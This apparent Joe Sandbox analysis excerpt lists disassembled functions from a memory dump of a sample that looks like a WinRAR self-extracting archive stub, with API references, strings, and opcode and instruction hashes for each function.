_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECD874A

Part of subcall function 00007FF70ECD1BD4: std::_Xinvalid_argument.LIBCPMT ref: 00007FF70ECD1BDF

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECD8756
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECD875C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECD8768
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECD877A
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECD8780

Strings

UNC, xrefs: 00007FF70ECD8263
\\?\, xrefs: 00007FF70ECD80FB, 00007FF70ECD810A

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Xinvalid_argumentstd::_
String ID: UNC$\\?\
API String ID: 4097890229-253988292
Opcode ID: 00252a679874104d1822cc98057d8594556e629aee441fe9c1d421cf9e6faeae
Instruction ID: 797541aeb58f9d92b236b9b570930cf359bd29d55efdc5ad3431a652b5a07fb8
Opcode Fuzzy Hash: 00252a679874104d1822cc98057d8594556e629aee441fe9c1d421cf9e6faeae
Instruction Fuzzy Hash: C412DF23B0DB42A0EB14EB65E8541AEA371EF41B98F904232DA5D07BE9DF3ED545C360

Function 00007FF70ECEE9E0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 94COMMON

Download Yara Rule

Strings

LICENSEDLG, xrefs: 00007FF70ECEE9FE

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: ItemTextWindow
String ID: LICENSEDLG
API String ID: 2478532303-2177901306
Opcode ID: 413809c6c529f907a05a51e37b96b30026af9f7a13d4bd8aebdb5ec3f6628f42
Instruction ID: 2d8b6a2bd7acc576d84d52189548211de0c5ab4fd239d50cf4163520d9593fc1
Opcode Fuzzy Hash: 413809c6c529f907a05a51e37b96b30026af9f7a13d4bd8aebdb5ec3f6628f42
Instruction Fuzzy Hash: 4741AC35F0865296FB24AB21ED443BAA7A2EF84BC4F844135DD0E07BA5CF3DA5468320

Function 00007FF70ECDBD30 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 84libraryloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 00007FF70ECDBE46

Part of subcall function 00007FF70ECDDC4C: GetSystemDirectoryW.KERNEL32 ref: 00007FF70ECDDCA3

GetProcAddress.KERNEL32 ref: 00007FF70ECDBD8E
GetProcAddress.KERNEL32 ref: 00007FF70ECDBDA9

Strings

CryptProtectMemory, xrefs: 00007FF70ECDBD84
CryptUnprotectMemory failed, xrefs: 00007FF70ECDBE3D
CryptProtectMemory failed, xrefs: 00007FF70ECDBDFC
Crypt32.dll, xrefs: 00007FF70ECDBD6C
CryptUnprotectMemory, xrefs: 00007FF70ECDBD9B

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: AddressProc$CurrentDirectoryProcessSystem
String ID: Crypt32.dll$CryptProtectMemory$CryptProtectMemory failed$CryptUnprotectMemory$CryptUnprotectMemory failed
API String ID: 2915667086-2207617598
Opcode ID: af4e49dbb55579098516a92d52c0ddb0d0e089f7b74e7f5168f5122a97df5a7b
Instruction ID: 7485ec6b329ab0745144fce07e0537991bafdb392d10c581b8f121218facfa73
Opcode Fuzzy Hash: af4e49dbb55579098516a92d52c0ddb0d0e089f7b74e7f5168f5122a97df5a7b
Instruction Fuzzy Hash: D8317220E0DB4791FA14BB15AC502B6E7A4EF54B90FC91139D95E43BA4DF3EE841C320

Function 00007FF70ECEC414 Relevance: 12.7, APIs: 5, Strings: 2, Instructions: 415COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECEC9F2
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECEC9FE
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECECA0A
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECECA16
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECECA1C

Strings

, xrefs: 00007FF70ECEC691
, xrefs: 00007FF70ECEC4FA

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID: $
API String ID: 3668304517-227171996
Opcode ID: cc90666c87694a805e4cb26fa89118b0cbad2d188fd07c00b7ebba12d4a88631
Instruction ID: 981295a9dbd636dd8447d9329b589b0f5328a06d62b61672e59250c601198c09
Opcode Fuzzy Hash: cc90666c87694a805e4cb26fa89118b0cbad2d188fd07c00b7ebba12d4a88631
Instruction Fuzzy Hash: 56F1F162F18B82A0EE00AB64D8445BEF321AF44BACF905231CA5D137D9DF7EE590D360

Function 00007FF70ECF8D7C Relevance: 10.8, APIs: 3, Strings: 3, Instructions: 317COMMONLIBRARYCODE

Download Yara Rule

APIs

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF70ECF8F1A
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF70ECF923D
abort.LIBCMT ref: 00007FF70ECF9271

Strings

csm, xrefs: 00007FF70ECF8F41
csm, xrefs: 00007FF70ECF8E61
csm, xrefs: 00007FF70ECF8EC3

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: Is_bad_exception_allowedabortstd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 2940173790-393685449
Opcode ID: 7ce8224d02cbc9d10e697210102f736983d510ff4da2607681883173542701a8
Instruction ID: a327eaf77c73e6ec0b7751b9d6db1a115a9e187b0f8676d2678a9158885174f8
Opcode Fuzzy Hash: 7ce8224d02cbc9d10e697210102f736983d510ff4da2607681883173542701a8
Instruction Fuzzy Hash: 1BE1B4339087829AEB14AF74D8903AEB7A0FF84748F944136EA8D57796CF39E485C710

Function 00007FF70ECE1BF4 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 160COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF70ECE0AA0: CompareStringW.KERNEL32(?,?,00007FF70ECD6C19), ref: 00007FF70ECE0ABF

Part of subcall function 00007FF70ECD12BC: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF70ECD13B6

Part of subcall function 00007FF70ECE0AD0: CompareStringW.KERNEL32 ref: 00007FF70ECE0B36

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECE1DC2
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECE1DC8
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF70ECE1E25

Strings

.zipx, xrefs: 00007FF70ECE1C3B, 00007FF70ECE1C4A
z%s%02d, xrefs: 00007FF70ECE1E12
.zx, xrefs: 00007FF70ECE1C92, 00007FF70ECE1CA1

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: CompareString_invalid_parameter_noinfo_noreturn$Concurrency::cancel_current_taskswprintf
String ID: .zipx$.zx$z%s%02d
API String ID: 2859674139-515631857
Opcode ID: 2e8cc53fc1a399fcb678a14113de810c74ea7267c0bd574ae7842b24cd295462
Instruction ID: 8dce9b52980dd3dce5e13d6a589f529d3cb37f7085f17e26cb40c46184b6e47c
Opcode Fuzzy Hash: 2e8cc53fc1a399fcb678a14113de810c74ea7267c0bd574ae7842b24cd295462
Instruction Fuzzy Hash: F171D872A19741A8EB10EF64D8913EDB361EF44788F845232EA5C47B99DF39D654C310

Function 00007FF70ECFA87C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,00000000,00007FF70ECFAA83,?,?,?,00007FF70ECF87EE,?,?,?,00007FF70ECF87A9), ref: 00007FF70ECFA901
GetLastError.KERNEL32(?,?,00000000,00007FF70ECFAA83,?,?,?,00007FF70ECF87EE,?,?,?,00007FF70ECF87A9), ref: 00007FF70ECFA90F
LoadLibraryExW.KERNEL32(?,?,00000000,00007FF70ECFAA83,?,?,?,00007FF70ECF87EE,?,?,?,00007FF70ECF87A9), ref: 00007FF70ECFA939
FreeLibrary.KERNEL32(?,?,00000000,00007FF70ECFAA83,?,?,?,00007FF70ECF87EE,?,?,?,00007FF70ECF87A9), ref: 00007FF70ECFA97F
GetProcAddress.KERNEL32(?,?,00000000,00007FF70ECFAA83,?,?,?,00007FF70ECF87EE,?,?,?,00007FF70ECF87A9), ref: 00007FF70ECFA98B

Strings

api-ms-, xrefs: 00007FF70ECFA921

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 6c79a96e063dba16a1b32c7952d051ebac3d8e1187371194647d3fb8a0e2c012
Instruction ID: 8bdf261588a42b8bd931cefae444d1ad6ee965736555a7f4b9c9ca19e384be11
Opcode Fuzzy Hash: 6c79a96e063dba16a1b32c7952d051ebac3d8e1187371194647d3fb8a0e2c012
Instruction Fuzzy Hash: D131C321A1E742A5EE15BB02AC1077AF3A5FF44B60F9A4536DD2D4B390DF3DE5448320

Function 00007FF70ECF5094 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 43libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,?,00007FF70ECF5003,?,?,?,00007FF70ECF53BA), ref: 00007FF70ECF50BB
GetProcAddress.KERNEL32(?,?,?,00007FF70ECF5003,?,?,?,00007FF70ECF53BA), ref: 00007FF70ECF50D8
GetProcAddress.KERNEL32(?,?,?,00007FF70ECF5003,?,?,?,00007FF70ECF53BA), ref: 00007FF70ECF50F4

Strings

ReleaseSRWLockExclusive, xrefs: 00007FF70ECF50E3
KERNEL32.DLL, xrefs: 00007FF70ECF50B4
AcquireSRWLockExclusive, xrefs: 00007FF70ECF50CE

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: AcquireSRWLockExclusive$KERNEL32.DLL$ReleaseSRWLockExclusive
API String ID: 667068680-1718035505
Opcode ID: d44736b24ca49afb9e39255391aa9d684b927709e013dababe23d1481c6dad27
Instruction ID: 4999b05e7ddc8e615ef9983db8194625d3a8379883ce5b13231876cc6ef62edc
Opcode Fuzzy Hash: d44736b24ca49afb9e39255391aa9d684b927709e013dababe23d1481c6dad27
Instruction Fuzzy Hash: DB115E20B1DB03A2FD61AB11BD50276D2A2AF19781FC96435DA5D47794EF7DB8848330

Function 00007FF70ECF9278 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 191COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FF70ECF92E8

Part of subcall function 00007FF70ECF87A0: abort.LIBCMT ref: 00007FF70ECF87B3

_CallSETranslator.LIBVCRUNTIME ref: 00007FF70ECF9333
abort.LIBCMT ref: 00007FF70ECF9561

Strings

RCC, xrefs: 00007FF70ECF9304
MOC, xrefs: 00007FF70ECF92FC

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: abort$CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 2889003569-2084237596
Opcode ID: 72139495dcf16bb81820f3d810a7b9a0b09b4fcdb0284e32ba8cd3a939180766
Instruction ID: 20821787b7262c31e17f61ab3869007bef28896b5524f6856da76abcf6feba25
Opcode Fuzzy Hash: 72139495dcf16bb81820f3d810a7b9a0b09b4fcdb0284e32ba8cd3a939180766
Instruction Fuzzy Hash: CA91C473A087819AEB10DFA5E8903AEBBA0FB44788F54413AEE4D17B54DF39D195CB00

Function 00007FF70ECF83FC Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 144COMMONLIBRARYCODE

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF70ECF8427
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF70ECF84BC
RtlUnwindEx.KERNEL32(?,?,?,?,?,?,?,00007FF70ECF672E), ref: 00007FF70ECF850B

Strings

f, xrefs: 00007FF70ECF843A
csm, xrefs: 00007FF70ECF84A2

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 11495064961466997c8733bd3dbf6db7e405d107ed00bd2b81d8cafc23c6a21f
Instruction ID: 76d97e68d5d9db2b4679c46b737e26e0236949375a6b93a84f8cee27d87b0a73
Opcode Fuzzy Hash: 11495064961466997c8733bd3dbf6db7e405d107ed00bd2b81d8cafc23c6a21f
Instruction Fuzzy Hash: 1C51E633A0960297EB58EF11EC14A2AB795FF44B99F918030DE0E47748DF3AE841C720

Function 00007FF70ECEB7B8 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 122COMMON

Download Yara Rule

APIs

ShowWindow.USER32 ref: 00007FF70ECEB7FF
GetWindowRect.USER32 ref: 00007FF70ECEB850
ShowWindow.USER32 ref: 00007FF70ECEB926
ShowWindow.USER32 ref: 00007FF70ECEB953

Strings

RarHtmlClassName, xrefs: 00007FF70ECEB8DB

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: Window$Show$Rect
String ID: RarHtmlClassName
API String ID: 2396740005-1658105358
Opcode ID: 500699e0308efecee35f99f9c80279572e1dadfe036f1821013dd5e6272eb3e2
Instruction ID: 6f661788161054a14056136e9d80b3980457cf707052ac36a76eceabc88b2c4e
Opcode Fuzzy Hash: 500699e0308efecee35f99f9c80279572e1dadfe036f1821013dd5e6272eb3e2
Instruction Fuzzy Hash: 8A517036A087869AEA34EB25E95437AF760FF85B84F844131DE8E43B65CF3DE8058750

Function 00007FF70ECF3810 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

SetEnvironmentVariableW.KERNEL32 ref: 00007FF70ECF3847
SetEnvironmentVariableW.KERNEL32 ref: 00007FF70ECF38C0
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECF391F

Strings

sfxcmd, xrefs: 00007FF70ECF3840
sfxpar, xrefs: 00007FF70ECF38B9

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: EnvironmentVariable$_invalid_parameter_noinfo_noreturn
String ID: sfxcmd$sfxpar
API String ID: 3540648995-3493335439
Opcode ID: c87641128664e101c09a05c68e21ac71321faf5786322f88757a9baac3bb3a7c
Instruction ID: a66ab8871189825d0c63a3ad0ecd91166574b1bdc329c1ef0319a332837636bf
Opcode Fuzzy Hash: c87641128664e101c09a05c68e21ac71321faf5786322f88757a9baac3bb3a7c
Instruction Fuzzy Hash: 5031AF22E14B46A4EB00AB69EC941ADA371EF48B98F840136DE1D17BA8CF3DD081C360

Function 00007FF70ECF3994 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 52COMMON

Download Yara Rule

Strings

RENAMEDLG, xrefs: 00007FF70ECF3A20
REPLACEFILEDLG, xrefs: 00007FF70ECF39F4, 00007FF70ECF3A59

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID:
String ID: RENAMEDLG$REPLACEFILEDLG
API String ID: 0-56093855
Opcode ID: fda320a62b1de8e0c326076fb66231056f5d4cab4133c3dd2cb0763aad417ddf
Instruction ID: 3c114b389104b3afc0fbdc48cf4a992a9048dca4eeb399cf7bc0fbfbffbbeeb3
Opcode Fuzzy Hash: fda320a62b1de8e0c326076fb66231056f5d4cab4133c3dd2cb0763aad417ddf
Instruction Fuzzy Hash: A021F831A0CA8BA1EA10AB6AFC542B5E3A1FF45B88FD40536C98D47364DF3DE595C320

Function 00007FF70ECFF490 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF70ECFF4B0
GetProcAddress.KERNEL32 ref: 00007FF70ECFF4C6
FreeLibrary.KERNEL32 ref: 00007FF70ECFF4EB

Strings

CorExitProcess, xrefs: 00007FF70ECFF4BF
mscoree.dll, xrefs: 00007FF70ECFF4A7

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: bbfb9acffd6a1f7f328749b5137115e28703a16519561567df947b6386454bd5
Instruction ID: d9ca7058bc2867432d1192147328da94a4d96227a616037b281cdad4ff56ccd6
Opcode Fuzzy Hash: bbfb9acffd6a1f7f328749b5137115e28703a16519561567df947b6386454bd5
Instruction Fuzzy Hash: 32F04F21B1DB4291EF64AB11F894379A760EF88B90F98503AE94F87664DF7CD584C720

Function 00007FF70ED07AD4 Relevance: 7.7, APIs: 5, Instructions: 203COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF70ED07B19

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 5733bc4db78c109f0175e69bb486889a5a1a9f6e1ea72f320297fc23bc50833c
Instruction ID: 9a8342db2a85b179c9bac156eab73566ff67d4af54b3edcdb8e01335ece8f44f
Opcode Fuzzy Hash: 5733bc4db78c109f0175e69bb486889a5a1a9f6e1ea72f320297fc23bc50833c
Instruction Fuzzy Hash: 8E819D22A18A1295F760BF65CC807BDA7A0FF44B98F984136DD0E9B695CF3DA445C330

Function 00007FF70ED07448 Relevance: 7.6, APIs: 5, Instructions: 142fileCOMMON

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,00007FF70ED07C7B), ref: 00007FF70ED074A5
WideCharToMultiByte.KERNEL32 ref: 00007FF70ED07581
WriteFile.KERNEL32 ref: 00007FF70ED075A7
WriteFile.KERNEL32 ref: 00007FF70ED075E6
GetLastError.KERNEL32 ref: 00007FF70ED0761E

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
